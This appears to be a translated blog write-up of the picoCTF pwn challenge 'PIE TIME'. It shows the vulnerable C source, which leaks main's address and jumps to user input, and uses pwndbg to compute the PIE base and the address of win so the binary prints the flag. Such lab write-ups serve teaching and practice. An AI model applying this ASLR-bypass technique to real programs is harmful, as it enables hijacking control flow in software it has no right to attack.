This page was translated from Spanish with AI. The original version is in Spanish: read the original.

PIE TIME

pico
pwn

August 5, 20252 minutes

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

This binary is compiled with PIE (Position Independent Executable), which allows its memory addresses to be randomized at runtime through ASLR (Address Space Layout Randomization).

The program prints an address that changes on every run; that address points to the main function. To get the PIE base that randomizes the addresses, we subtract the offset of main from the leaked address, which gives us the PIE base address

pwndbg> disass main
Dump of assembler code for function main:
   0x000000000000133d <+0>:	endbr64
>>> hex(0x556e594b233d - 0x000000000000133d)
'0x556e594b1000'

Once we have the PIE base, we can work out the address of the win function, which is the one that prints the flag

pwndbg> disass win
Dump of assembler code for function win:
   0x00000000000012a7 <+0>:	endbr64
>>> hex(0x556e594b1000 + 0x00000000000012a7)
'0x556e594b22a7'

Now, if we passed 0x556e594b22a7 to the binary, it would print the flag